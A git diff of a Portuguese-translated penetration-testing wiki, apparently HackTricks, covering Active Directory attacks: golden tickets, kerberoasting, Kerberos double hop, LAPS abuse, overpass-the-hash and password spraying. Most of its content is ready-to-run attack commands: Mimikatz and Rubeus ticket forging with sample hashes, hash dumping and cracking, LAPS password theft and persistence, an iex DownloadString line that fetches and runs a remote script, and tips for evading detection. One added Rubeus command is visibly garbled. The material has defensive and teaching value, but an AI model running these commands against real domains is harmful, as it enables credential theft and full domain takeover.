-Você poderia **assinar com** a chave **confiável** um **TGT se passando** pelo usuário do domínio atual.
+Você poderia **assinar com** a chave **confiável** um **TGT impersonando** o usuário do domínio atual.
 ```bash
 # Get a TGT for the cross-domain privileged user to the other domain
 Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
@@ -102,7 +102,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
 
 # Now you have a TGS to access the CIFS service of the domain controller
 ```
-### Caminho completo para se passar pelo usuário
+### Forma completa de se passar pelo usuário
 ```bash
 # Get a TGT of the user with cross-domain permissions
 Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

src/windows-hardening/active-directory-methodology/golden-ticket.md

@@ -6,7 +6,7 @@
 
 Um **ataque Golden Ticket** consiste na **criação de um Ticket Granting Ticket (TGT) legítimo impersonando qualquer usuário** através do uso do **hash NTLM da conta krbtgt do Active Directory (AD)**. Esta técnica é particularmente vantajosa porque **permite acesso a qualquer serviço ou máquina** dentro do domínio como o usuário impersonado. É crucial lembrar que as **credenciais da conta krbtgt nunca são atualizadas automaticamente**.
 
-Para **adquirir o hash NTLM** da conta krbtgt, vários métodos podem ser empregados. Ele pode ser extraído do **processo Local Security Authority Subsystem Service (LSASS)** ou do **arquivo NT Directory Services (NTDS.dit)** localizado em qualquer Controlador de Domínio (DC) dentro do domínio. Além disso, **executar um ataque DCsync** é outra estratégia para obter esse hash NTLM, que pode ser realizado usando ferramentas como o **módulo lsadump::dcsync** no Mimikatz ou o **script secretsdump.py** do Impacket. É importante ressaltar que para realizar essas operações, **privilégios de administrador de domínio ou um nível de acesso semelhante são tipicamente necessários**.
+Para **adquirir o hash NTLM** da conta krbtgt, vários métodos podem ser empregados. Ele pode ser extraído do **processo do Local Security Authority Subsystem Service (LSASS)** ou do **arquivo NT Directory Services (NTDS.dit)** localizado em qualquer Controlador de Domínio (DC) dentro do domínio. Além disso, **executar um ataque DCsync** é outra estratégia para obter esse hash NTLM, que pode ser realizado usando ferramentas como o **módulo lsadump::dcsync** no Mimikatz ou o **script secretsdump.py** do Impacket. É importante ressaltar que, para realizar essas operações, **privilégios de administrador de domínio ou um nível de acesso semelhante são tipicamente necessários**.
 
 Embora o hash NTLM sirva como um método viável para esse propósito, é **fortemente recomendado** **forjar tickets usando as chaves Kerberos do Advanced Encryption Standard (AES) (AES128 e AES256)** por razões de segurança operacional.
 ```bash:From Linux
@@ -16,6 +16,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
 ```
 
 ```bash:From Windows
+# Rubeus
+## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
+## The /printcmd option will print the complete command if later you want to generate a token offline
+.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
+
+/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt
 #mimikatz
 kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
 .\Rubeus.exe ptt /ticket:ticket.kirbi
@@ -28,7 +34,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1
 
 ### Contornando detecções comuns
 
-As maneiras mais frequentes de detectar um golden ticket são **inspecionando o tráfego Kerberos** na rede. Por padrão, o Mimikatz **assina o TGT por 10 anos**, o que se destacará como anômalo em solicitações TGS subsequentes feitas com ele.
+As maneiras mais frequentes de detectar um golden ticket são por **inspecionar o tráfego Kerberos** na rede. Por padrão, o Mimikatz **assina o TGT por 10 anos**, o que se destacará como anômalo em solicitações TGS subsequentes feitas com ele.
 
 `Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
 
@@ -36,7 +42,7 @@ Use os parâmetros `/startoffset`, `/endin` e `/renewmax` para controlar o deslo
 ```
 Get-DomainPolicy | select -expand KerberosPolicy
 ```
-Infelizmente, a duração do TGT não é registrada nos eventos 4769, então você não encontrará essa informação nos logs de eventos do Windows. No entanto, o que você pode correlacionar é **ver 4769's sem um 4768 anterior**. É **impossível solicitar um TGS sem um TGT**, e se não houver registro de um TGT sendo emitido, podemos inferir que foi forjado offline.
+Infelizmente, a duração do TGT não é registrada nos eventos 4769, então você não encontrará essa informação nos logs de eventos do Windows. No entanto, o que você pode correlacionar é **ver 4769's sem um 4768 anterior**. É **impossível solicitar um TGS sem um TGT**, e se não houver registro de um TGT sendo emitido, podemos inferir que ele foi forjado offline.
 
 Para **contornar essa detecção**, verifique os diamond tickets:
 

src/windows-hardening/active-directory-methodology/kerberoast.md

@@ -4,9 +4,9 @@
 
 ## Kerberoast
 
-Kerberoasting foca na aquisição de **TGS tickets**, especificamente aqueles relacionados a serviços operando sob **contas de usuário** em **Active Directory (AD)**, excluindo **contas de computador**. A criptografia desses tickets utiliza chaves que se originam de **senhas de usuário**, permitindo a possibilidade de **cracking de credenciais offline**. O uso de uma conta de usuário como serviço é indicado por uma propriedade **"ServicePrincipalName"** não vazia.
+Kerberoasting foca na aquisição de **TGS tickets**, especificamente aqueles relacionados a serviços operando sob **contas de usuário** no **Active Directory (AD)**, excluindo **contas de computador**. A criptografia desses tickets utiliza chaves que originam de **senhas de usuário**, permitindo a possibilidade de **cracking de credenciais offline**. O uso de uma conta de usuário como serviço é indicado por uma propriedade **"ServicePrincipalName"** não vazia.
 
-Para executar **Kerberoasting**, é essencial uma conta de domínio capaz de solicitar **TGS tickets**; no entanto, esse processo não exige **privilégios especiais**, tornando-o acessível a qualquer pessoa com **credenciais de domínio válidas**.
+Para executar **Kerberoasting**, é essencial uma conta de domínio capaz de solicitar **TGS tickets**; no entanto, esse processo não exige **privilégios especiais**, tornando-o acessível a qualquer um com **credenciais de domínio válidas**.
 
 ### Pontos Chave:
 
@@ -19,132 +19,154 @@ Para executar **Kerberoasting**, é essencial uma conta de domínio capaz de sol
 
 > [!WARNING]
 > **Ferramentas de Kerberoasting** normalmente solicitam **`RC4 encryption`** ao realizar o ataque e iniciar solicitações TGS-REQ. Isso ocorre porque **RC4 é** [**mais fraco**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) e mais fácil de crackear offline usando ferramentas como Hashcat do que outros algoritmos de criptografia, como AES-128 e AES-256.\
-> Hashes RC4 (tipo 23) começam com **`$krb5tgs$23$*`** enquanto AES-256 (tipo 18) começam com **`$krb5tgs$18$*`**.`
+> Hashes RC4 (tipo 23) começam com **`$krb5tgs$23$*`** enquanto AES-256 (tipo 18) começam com **`$krb5tgs$18$*`**.` 
+> Além disso, tenha cuidado porque `Rubeus.exe kerberoast` solicita tickets automaticamente sobre TODAS as contas vulneráveis, o que pode te fazer ser detectado. Primeiro, encontre usuários kerberoastable com privilégios interessantes e então execute apenas sobre eles.
+```bash
 
 #### **Linux**
+
 ```bash
 # Metasploit framework
 msf> use auxiliary/gather/get_user_spns
 # Impacket
-GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
+GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # A senha será solicitada
 GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
 # kerberoast: https://github.com/skelsec/kerberoast
-kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
-kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
+kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerar usuários kerberoastable
+kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Extrair hashes
 ```
-Ferramentas multifuncionais, incluindo um dump de usuários kerberoastable:
+
+Multi-features tools including a dump of kerberoastable users:
+
 ```bash
 # ADenum: https://github.com/SecuProject/ADenum
-adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
+adenum -d <DOMÍNIO.COMPLETO> -ip <DC_IP> -u <NOME_DE_USUÁRIO> -p <SENHA> -c
 ```
+
 #### Windows
 
-- **Enumerar usuários Kerberoastable**
-```powershell
-# Get Kerberoastable users
-setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
+- **Enumerate Kerberoastable users**
+
+```bash
+# Obter usuários Kerberoastable
+setspn.exe -Q */* #Este é um binário embutido. Concentre-se nas contas de usuário
 Get-NetUser -SPN | select serviceprincipalname #Powerview
 .\Rubeus.exe kerberoast /stats
 ```
-- **Técnica 1: Solicitar TGS e despejá-lo da memória**
-```powershell
-#Get TGS in memory from a single user
-Add-Type -AssemblyName System.IdentityModel
-New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
 
-#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
+- **Technique 1: Ask for TGS and dump it from memory**
+
+```bash
+#Obter TGS na memória de um único usuário
+Add-Type -AssemblyName System.IdentityModel
+New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Exemplo: MSSQLSvc/mgmt.domain.local
+
+#Obter TGSs para TODAS as contas kerberoastable (PCs incluídos, não é muito inteligente)
 setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
 
-#List kerberos tickets in memory
+#Listar tickets kerberos na memória
 klist
 
-# Extract them from memory
-Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
+# Extraí-los da memória
+Invoke-Mimikatz -Command '"kerberos::list /export"' #Exportar tickets para a pasta atual
 
-# Transform kirbi ticket to john
+# Transformar ticket kirbi para john
 python2.7 kirbi2john.py sqldev.kirbi
-# Transform john to hashcat
+# Transformar john para hashcat
 sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
 ```
-- **Técnica 2: Ferramentas automáticas**
+
+- **Technique 2: Automatic tools**
+
 ```bash
-# Powerview: Get Kerberoast hash of a user
-Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
-# Powerview: Get all Kerberoast hashes
+# Powerview: Obter hash Kerberoast de um usuário
+Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Usando PowerView Ex: MSSQLSvc/mgmt.domain.local
+# Powerview: Obter todos os hashes Kerberoast
 Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
 
 # Rubeus
 .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
-.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
-.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
+.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Usuário específico
+.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Obter administradores
 
 # Invoke-Kerberoast
 iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
 Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
 ```
-> [!WARNING]
-> Quando um TGS é solicitado, o evento do Windows `4769 - Um ticket de serviço Kerberos foi solicitado` é gerado.
 
-### Quebra
+> [!WARNING]
+> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
+
+### Cracking
+
 ```bash
-john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
-hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
+john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast  
+hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt  
 ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
 ```
-### Persistência
 
-Se você tiver **permissões suficientes** sobre um usuário, você pode **torná-lo kerberoastable**:
+### Persistence
+
+If you have **enough permissions** over a user you can **make it kerberoastable**:
+
 ```bash
 Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
 ```
-Você pode encontrar **ferramentas** úteis para ataques de **kerberoast** aqui: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
 
-Se você encontrar este **erro** do Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** é por causa do seu horário local, você precisa sincronizar o host com o DC. Existem algumas opções:
+You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
 
-- `ntpdate <IP do DC>` - Obsoleto a partir do Ubuntu 16.04
-- `rdate -n <IP do DC>`
+If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
 
-### Mitigação
+- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
+- `rdate -n <IP of DC>`
 
-Kerberoasting pode ser realizado com um alto grau de furtividade se for explorável. Para detectar essa atividade, deve-se prestar atenção ao **ID de Evento de Segurança 4769**, que indica que um ticket Kerberos foi solicitado. No entanto, devido à alta frequência deste evento, filtros específicos devem ser aplicados para isolar atividades suspeitas:
+### Mitigation
+
+Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
+
+- The service name should not be **krbtgt**, as this is a normal request.
+- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
+- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
+- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
+- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
 
-- O nome do serviço não deve ser **krbtgt**, pois este é um pedido normal.
-- Nomes de serviços que terminam com **$** devem ser excluídos para evitar incluir contas de máquina usadas para serviços.
-- Solicitações de máquinas devem ser filtradas excluindo nomes de contas formatados como **machine@domain**.
-- Apenas solicitações de ticket bem-sucedidas devem ser consideradas, identificadas por um código de falha de **'0x0'**.
-- **Mais importante**, o tipo de criptografia do ticket deve ser **0x17**, que é frequentemente usado em ataques de Kerberoasting.
 ```bash
 Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
 ```
-Para mitigar o risco de Kerberoasting:
 
-- Assegure-se de que **Senhas de Contas de Serviço sejam difíceis de adivinhar**, recomendando um comprimento de mais de **25 caracteres**.
-- Utilize **Contas de Serviço Gerenciadas**, que oferecem benefícios como **mudanças automáticas de senha** e **Gerenciamento Delegado de Nome Principal de Serviço (SPN)**, aumentando a segurança contra tais ataques.
+To mitigate the risk of Kerberoasting:
 
-Ao implementar essas medidas, as organizações podem reduzir significativamente o risco associado ao Kerberoasting.
+- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
+- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
 
-## Kerberoast sem conta de domínio
+By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
 
-Em **setembro de 2022**, uma nova forma de explorar um sistema foi revelada por um pesquisador chamado Charlie Clark, compartilhada através de sua plataforma [exploit.ph](https://exploit.ph/). Este método permite a aquisição de **Tickets de Serviço (ST)** via uma solicitação **KRB_AS_REQ**, que notavelmente não requer controle sobre nenhuma conta do Active Directory. Essencialmente, se um principal estiver configurado de tal forma que não exija pré-autenticação—um cenário semelhante ao que é conhecido no campo da cibersegurança como um **ataque AS-REP Roasting**—essa característica pode ser aproveitada para manipular o processo de solicitação. Especificamente, ao alterar o atributo **sname** dentro do corpo da solicitação, o sistema é enganado para emitir um **ST** em vez do padrão Ticket Granting Ticket (TGT) criptografado.
+## Kerberoast w/o domain account
 
-A técnica é totalmente explicada neste artigo: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
+In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
+
+The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
 
 > [!WARNING]
-> Você deve fornecer uma lista de usuários porque não temos uma conta válida para consultar o LDAP usando esta técnica.
+> You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
 
 #### Linux
 
 - [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
+
 ```bash
 GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
 ```
+
 #### Windows
 
-- [GhostPack/Rubeus do PR #139](https://github.com/GhostPack/Rubeus/pull/139):
+- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
+
 ```bash
 Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
 ```
-## Referências
+
+## References
 
 - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)

src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md

@@ -2,6 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
+
 ## Introdução
 
 O problema do "Double Hop" do Kerberos aparece quando um atacante tenta usar **autenticação Kerberos através de dois** **hops**, por exemplo, usando **PowerShell**/**WinRM**.
@@ -17,7 +18,7 @@ Isso acontece porque, ao conectar-se com o Kerberos, estes são os passos:
 
 ### Delegação Não Restrita
 
-Se a **delegação não restrita** estiver habilitada no PC, isso não acontecerá, pois o **Servidor** irá **obter** um **TGT** de cada usuário que o acessar. Além disso, se a delegação não restrita for usada, você provavelmente pode **comprometer o Controlador de Domínio** a partir disso.\
+Se a **delegação não restrita** estiver habilitada no PC, isso não acontecerá, pois o **Servidor** irá **obter** um **TGT** de cada usuário que o acessar. Além disso, se a delegação não restrita for usada, você provavelmente pode **comprometer o Controlador de Domínio** a partir dele.\
 [**Mais informações na página de delegação não restrita**](unconstrained-delegation.md).
 
 ### CredSSP
@@ -27,7 +28,7 @@ Outra maneira de evitar esse problema, que é [**notavelmente insegura**](https:
 > A autenticação CredSSP delega as credenciais do usuário do computador local para um computador remoto. Essa prática aumenta o risco de segurança da operação remota. Se o computador remoto for comprometido, quando as credenciais forem passadas para ele, as credenciais podem ser usadas para controlar a sessão de rede.
 
 É altamente recomendável que o **CredSSP** seja desativado em sistemas de produção, redes sensíveis e ambientes semelhantes devido a preocupações de segurança. Para determinar se o **CredSSP** está habilitado, o comando `Get-WSManCredSSP` pode ser executado. Este comando permite a **verificação do status do CredSSP** e pode até ser executado remotamente, desde que o **WinRM** esteja habilitado.
-```powershell
+```bash
 Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
 Get-WSManCredSSP
 }
@@ -36,8 +37,8 @@ Get-WSManCredSSP
 
 ### Invoke Command
 
-Para resolver o problema do double hop, é apresentado um método envolvendo um `Invoke-Command` aninhado. Isso não resolve o problema diretamente, mas oferece uma solução alternativa sem a necessidade de configurações especiais. A abordagem permite executar um comando (`hostname`) em um servidor secundário através de um comando PowerShell executado de uma máquina de ataque inicial ou através de uma PS-Session previamente estabelecida com o primeiro servidor. Veja como é feito:
-```powershell
+Para resolver o problema do double hop, um método envolvendo um `Invoke-Command` aninhado é apresentado. Isso não resolve o problema diretamente, mas oferece uma solução alternativa sem a necessidade de configurações especiais. A abordagem permite executar um comando (`hostname`) em um servidor secundário através de um comando PowerShell executado a partir de uma máquina de ataque inicial ou através de uma PS-Session previamente estabelecida com o primeiro servidor. Veja como é feito:
+```bash
 $cred = Get-Credential ta\redsuit
 Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
 Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
@@ -48,7 +49,7 @@ Alternativamente, estabelecer uma PS-Session com o primeiro servidor e executar
 ### Registrar Configuração de PSSession
 
 Uma solução para contornar o problema do double hop envolve usar `Register-PSSessionConfiguration` com `Enter-PSSession`. Este método requer uma abordagem diferente da `evil-winrm` e permite uma sessão que não sofre da limitação do double hop.
-```powershell
+```bash
 Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
 Restart-Service WinRM
 Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
@@ -56,7 +57,7 @@ klist
 ```
 ### PortForwarding
 
-Para administradores locais em um alvo intermediário, o redirecionamento de porta permite que solicitações sejam enviadas para um servidor final. Usando `netsh`, uma regra pode ser adicionada para o redirecionamento de porta, juntamente com uma regra de firewall do Windows para permitir a porta redirecionada.
+Para administradores locais em um alvo intermediário, o redirecionamento de portas permite que solicitações sejam enviadas para um servidor final. Usando `netsh`, uma regra pode ser adicionada para o redirecionamento de portas, juntamente com uma regra de firewall do Windows para permitir a porta redirecionada.
 ```bash
 netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
 netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446

src/windows-hardening/active-directory-methodology/laps.md

@@ -9,7 +9,7 @@ Local Administrator Password Solution (LAPS) é uma ferramenta usada para gerenc
 
 Nos objetos de computador do domínio, a implementação do LAPS resulta na adição de dois novos atributos: **`ms-mcs-AdmPwd`** e **`ms-mcs-AdmPwdExpirationTime`**. Esses atributos armazenam a **senha de administrador em texto simples** e **seu tempo de expiração**, respectivamente.
 
-### Verifique se ativado
+### Verificar se ativado
 ```bash
 reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
 
@@ -27,7 +27,7 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
 Você pode **baixar a política LAPS bruta** de `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` e então usar **`Parse-PolFile`** do pacote [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) para converter este arquivo em um formato legível por humanos.
 
 Além disso, os **cmdlets nativos do PowerShell LAPS** podem ser usados se estiverem instalados em uma máquina à qual temos acesso:
-```powershell
+```bash
 Get-Command *AdmPwd*
 
 CommandType     Name                                               Version    Source
@@ -48,7 +48,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
 Get-AdmPwdPassword -ComputerName wkstn-2 | fl
 ```
 **PowerView** também pode ser usado para descobrir **quem pode ler a senha e lê-la**:
-```powershell
+```bash
 # Find the principals that have ReadPropery on ms-Mcs-AdmPwd
 Get-AdmPwdPassword -ComputerName wkstn-2 | fl
 
@@ -60,7 +60,7 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
 O [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilita a enumeração do LAPS com várias funções.\
 Uma delas é a análise de **`ExtendedRights`** para **todos os computadores com LAPS habilitado.** Isso mostrará **grupos** especificamente **delegados para ler senhas LAPS**, que muitas vezes são usuários em grupos protegidos.\
 Uma **conta** que **juntou um computador** a um domínio recebe `All Extended Rights` sobre aquele host, e esse direito dá à **conta** a capacidade de **ler senhas**. A enumeração pode mostrar uma conta de usuário que pode ler a senha LAPS em um host. Isso pode nos ajudar a **mirar usuários específicos do AD** que podem ler senhas LAPS.
-```powershell
+```bash
 # Get groups that can read passwords
 Find-LAPSDelegatedGroups
 
@@ -99,12 +99,12 @@ Password: 2Z@Ae)7!{9#Cq
 python psexec.py Administrator@web.example.com
 Password: 2Z@Ae)7!{9#Cq
 ```
-## **Persistência LAPS**
+## **Persistência do LAPS**
 
 ### **Data de Expiração**
 
 Uma vez administrador, é possível **obter as senhas** e **prevenir** que uma máquina **atualize** sua **senha** **definindo a data de expiração para o futuro**.
-```powershell
+```bash
 # Get expiration time
 Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
 
@@ -121,7 +121,7 @@ O código-fonte original do LAPS pode ser encontrado [aqui](https://github.com/G
 
 Em seguida, basta compilar o novo `AdmPwd.PS.dll` e enviá-lo para a máquina em `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (e alterar o horário de modificação).
 
-## Referências
+## References
 
 - [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
 

src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md

@@ -5,7 +5,7 @@
 
 ## Overpass The Hash/Pass The Key (PTK)
 
-O **Overpass The Hash/Pass The Key (PTK)** é um ataque projetado para ambientes onde o protocolo NTLM tradicional é restrito e a autenticação Kerberos tem prioridade. Este ataque aproveita o hash NTLM ou as chaves AES de um usuário para solicitar tickets Kerberos, permitindo acesso não autorizado a recursos dentro de uma rede.
+O ataque **Overpass The Hash/Pass The Key (PTK)** é projetado para ambientes onde o protocolo NTLM tradicional é restrito, e a autenticação Kerberos tem prioridade. Este ataque aproveita o hash NTLM ou as chaves AES de um usuário para solicitar tickets Kerberos, permitindo acesso não autorizado a recursos dentro de uma rede.
 
 Para executar este ataque, o primeiro passo envolve adquirir o hash NTLM ou a senha da conta do usuário alvo. Após garantir essa informação, um Ticket Granting Ticket (TGT) para a conta pode ser obtido, permitindo que o atacante acesse serviços ou máquinas para os quais o usuário tem permissões.
 
@@ -15,7 +15,7 @@ python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2
 export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
 python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
 ```
-Para cenários que necessitam de AES256, a opção `-aesKey [AES key]` pode ser utilizada. Além disso, o ticket adquirido pode ser empregado com várias ferramentas, incluindo smbexec.py ou wmiexec.py, ampliando o escopo do ataque.
+Para cenários que exigem AES256, a opção `-aesKey [AES key]` pode ser utilizada. Além disso, o ticket adquirido pode ser empregado com várias ferramentas, incluindo smbexec.py ou wmiexec.py, ampliando o escopo do ataque.
 
 Problemas encontrados, como _PyAsn1Error_ ou _KDC cannot find the name_, são tipicamente resolvidos atualizando a biblioteca Impacket ou usando o nome do host em vez do endereço IP, garantindo compatibilidade com o KDC do Kerberos.
 
@@ -30,6 +30,15 @@ Para conformar-se à segurança operacional e usar AES256, o seguinte comando po
 ```bash
 .\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
 ```
+## Versão mais discreta
+
+> [!WARNING]
+> Cada sessão de logon pode ter apenas um TGT ativo por vez, então tenha cuidado.
+
+1. Crie uma nova sessão de logon com **`make_token`** do Cobalt Strike.
+2. Em seguida, use o Rubeus para gerar um TGT para a nova sessão de logon sem afetar a existente.
+
+
 ## Referências
 
 - [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)

src/windows-hardening/active-directory-methodology/password-spraying.md

@@ -2,6 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
+
 ## **Password Spraying**
 
 Uma vez que você tenha encontrado vários **nomes de usuário válidos**, você pode tentar as **senhas mais comuns** (lembre-se da política de senhas do ambiente) com cada um dos usuários descobertos.\
@@ -30,7 +31,7 @@ net accounts
 
 (Get-DomainPolicy)."SystemAccess" #From powerview
 ```
-### Exploração a partir do Linux (ou todos)
+### Exploração a partir do Linux (ou de todos)
 
